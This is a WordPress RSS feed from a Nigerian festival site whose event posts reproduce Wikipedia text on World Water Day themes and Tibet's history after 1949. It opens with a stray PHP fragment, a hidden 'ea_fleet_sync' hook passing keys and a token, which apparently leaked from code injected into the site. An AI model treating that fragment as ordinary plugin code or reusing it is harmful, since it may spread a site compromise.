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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Events – #NFUK2024 https://nigerianfestivaluk.org Nigerian Festival UK 2024 Sat, 18 Jan 2020 09:55:05 +0000 en-US hourly 1 https://wordpress.org/?v=6.8.8 https://nigerianfestivaluk.org/wp-content/uploads/2021/12/2eae5010-8fb5-4d4c-90a6-80342dde07e1-removebg-preview-150x150.png Events – #NFUK2024 https://nigerianfestivaluk.org 32 32 Why Waste Water? https://nigerianfestivaluk.org/events/why-waste-water/ https://nigerianfestivaluk.org/events/why-waste-water/#respond Sat, 18 Jan 2020 09:55:05 +0000 https://spaceraceit.com/wp/epress/?post_type=events&p=1865 In 2017, the theme was “Why Waste Water?” which was about reducing and reusing wastewater.[7] The theme was a play on words as it related to both the aspect of wasting water and issues around wastewater, namely treatment and reuse. Wastewater is a valuable resource to help achieve the Sustainable Development Goal Number 6. One aspect of Target 6.3 is to halve the proportion of untreated wastewater and also to increase the recycling and safe reuse of water across the globe. After appropriate treatment, wastewater can be used for a variety of purposes. Industry, for example, can reuse water in cooling towers and agriculture can reuse water for irrigation.[22]

An example activity for 2017 was the Wikipedia edit-a-thon organized by members of the Sustainable Sanitation Alliance on 19–21 March 2017. The purpose of the activity was to improve water and sanitation related content on Wikipedia just ahead of World Water Day. The goal was to improve the quantity and quality of sanitation information available on Wikipedia for the use of teachers, journalists and the general public.[23]

]]> https://nigerianfestivaluk.org/events/why-waste-water/feed/ 0 Leaving No One behind https://nigerianfestivaluk.org/events/leaving-no-one-behind/ https://nigerianfestivaluk.org/events/leaving-no-one-behind/#respond Sat, 18 Jan 2020 09:53:49 +0000 https://spaceraceit.com/wp/epress/?post_type=events&p=1863 The theme of 2019 is about tackling the water crisis by addressing the reasons why so many people are being left behind. Marginalized groups – women, children, refugees, indigenous peoples, disabled people – are often overlooked, and may face discrimination, as they try to access safe water.[3][19] UN Water asserts that “water services must meet the needs of marginalized groups and their voices must be heard in decision-making processes”.[20]

]]> https://nigerianfestivaluk.org/events/leaving-no-one-behind/feed/ 0 Water Day 2019 https://nigerianfestivaluk.org/events/water-day-2019/ https://nigerianfestivaluk.org/events/water-day-2019/#respond Sat, 18 Jan 2020 09:52:55 +0000 https://spaceraceit.com/wp/epress/?post_type=events&p=1861 World Water Day is an annual UN observance day (always on 22 March) that highlights the importance of freshwater.[1] The day is used to advocate for the sustainable management of freshwater resources.[1] World Water Day is celebrated around the world with a variety of events. These can be educational, theatrical, musical or lobbying in nature. The day can also include campaigns to raise money for water projects. The first World Water Day, designated by the United Nations, was in 1993.[2] Each year many countries celebrate World Water Day.

UN-Water is the convener for World Water Day and selects a theme for each year in consultation with UN organizations that share an interest in that year’s focus.[2] The theme for 2019 was “Leaving no one behind” and encourages people to consider marginalized groups as these are often overlooked and discriminated against when they try to access safe water.[3] Previous themes for the years 2014 to 2018 were “Water and energy”[4], “Water and Sustainable Development”[5], “Water and Jobs'”[6], “Why waste water?”[7] and “Nature for Water”[8].

The focus on universal access to clean water, sanitation and hygiene (WASH) is in line with the targets of Sustainable Development Goal 6.[9] The UN World Water Development Report (WWDR) is released each year around World Water Day.

]]> https://nigerianfestivaluk.org/events/water-day-2019/feed/ 0 History Of Tibet https://nigerianfestivaluk.org/events/history-of-tibet/ https://nigerianfestivaluk.org/events/history-of-tibet/#respond Sat, 18 Jan 2020 09:51:12 +0000 https://spaceraceit.com/wp/epress/?post_type=events&p=1859 In 1949, seeing that the Communists were gaining control of China, the Kashag expelled all Chinese connected with the Chinese government, over the protests of both the Kuomintang and the Communists.[2] Both the Republic of China (ROC) and the People’s Republic of China (PRC) have maintained China’s claim to sovereignty over Tibet. Many people[who?] felt that Tibet should not be part of China because they were constantly under attack in different ways rather often. Tibet had de facto been its own country before 1951.[3]

The Chinese Communist government led by Mao Zedong, which came to power in October, lost little time in asserting a new PRC presence in Tibet. The PRC has carried out different projects in Tibet but the people of Tibet seem to feel ignored politically and economically in the “Tibet Autonomous Region” and in the Tibetan portions of land in Qinghai, Sichuan, and Yunnan.[4] In June 1950, the UK Government in the House of Commons stated that His Majesty’s Government “have always been prepared to recognize Chinese suzerainty over Tibet, but only on the understanding that Tibet is regarded as autonomous.”[5] On 7 October 1950,[6] The People’s Liberation Army invaded the Tibetan area of Chamdo. The large number of units of the PLA quickly surrounded the outnumbered, largely pacifistic Tibetan forces. By October 19, 1950, five thousand Tibetan troops surrendered to the PRC.[6]

In 1951, representatives of Tibetan authority, with the Dalai Lama’s authorization,[7] participated in negotiations with the PRC government in Beijing. This resulted in a Seventeen Point Agreement which established PRC’s sovereignty over Tibet, and it thereby gave the PRC power to rule.[8] The agreement was ratified in Lhasa a few months later.[9] According to the Tibetan government-in-exile, some members of the Tibetan Cabinet (Kashag), for example, Tibetan Prime Minister Lukhangwa, never accepted the agreement.[10] But the National Assembly of Tibet, “while recognizing the extenuating circumstances under which the delegates had to sign the ‘agreement’, asked the government to accept the ‘agreement’…the Kashag told Zhang Jingwu that it would radio its acceptance of the ‘agreement’.”[11] Tibetan exile sources generally consider it invalid, as having been reluctantly or unwillingly signed under duress.[12] On the path that was leading him into exile in India, the 14th Dalai Lama arrived March 26, 1959 at Lhuntse Dzong where he repudiated the “17-point Agreement” as having been “thrust upon Tibetan Government and people by the threat of arms”[11] and reaffirmed his government as the only legitimate representative of Tibet.[13][14] According to the Seventeen Point Agreement, the Dalai Lama-ruled Tibetan area was supposed to be a highly autonomous area of China. From the beginning, it was obvious that incorporating Tibet into Communist PRC would bring two opposite social systems face-to-face.[15] In western Tibet, however, the Chinese Communists opted not to make social reform an immediate priority. On the contrary, from 1951 to 1959, traditional Tibetan society with its lords and manorial estates continued to function unchanged and were subsidized by the central government.[15] Despite the presence of twenty thousand PLA troops in Central Tibet, the Dalai Lama’s government was permitted to maintain important symbols from its de facto independence period.[15] The first national census in all of the People’s Republic of China was held in 1954, counting 2,770,000 ethnic Tibetans in China, including 1,270,000 in the Tibet Autonomous Region.[16] The Chinese built highways that reached Lhasa, and then extended them to the Indian, Nepalese and Pakistani borders.

Tibetan areas in Qinghai, which were outside the authority of the Dalai Lama’s government, did not enjoy this same autonomy and had land redistribution implemented in full. Most lands were taken away from noblemen and monasteries and re-distributed to serfs. The Tibetan region of Eastern Kham, previously Xikang province, was incorporated into the province of Sichuan. Western Kham was put under the Chamdo Military Committee. In these areas, land reform was implemented. This involved communist agitators designating “landlords”—sometimes arbitrarily chosen—for public humiliation in so-called “struggle sessions”,[17] torture, maiming, and even death.[18][19] It was only after 1959 that China brought the same practices to Central Tibet.

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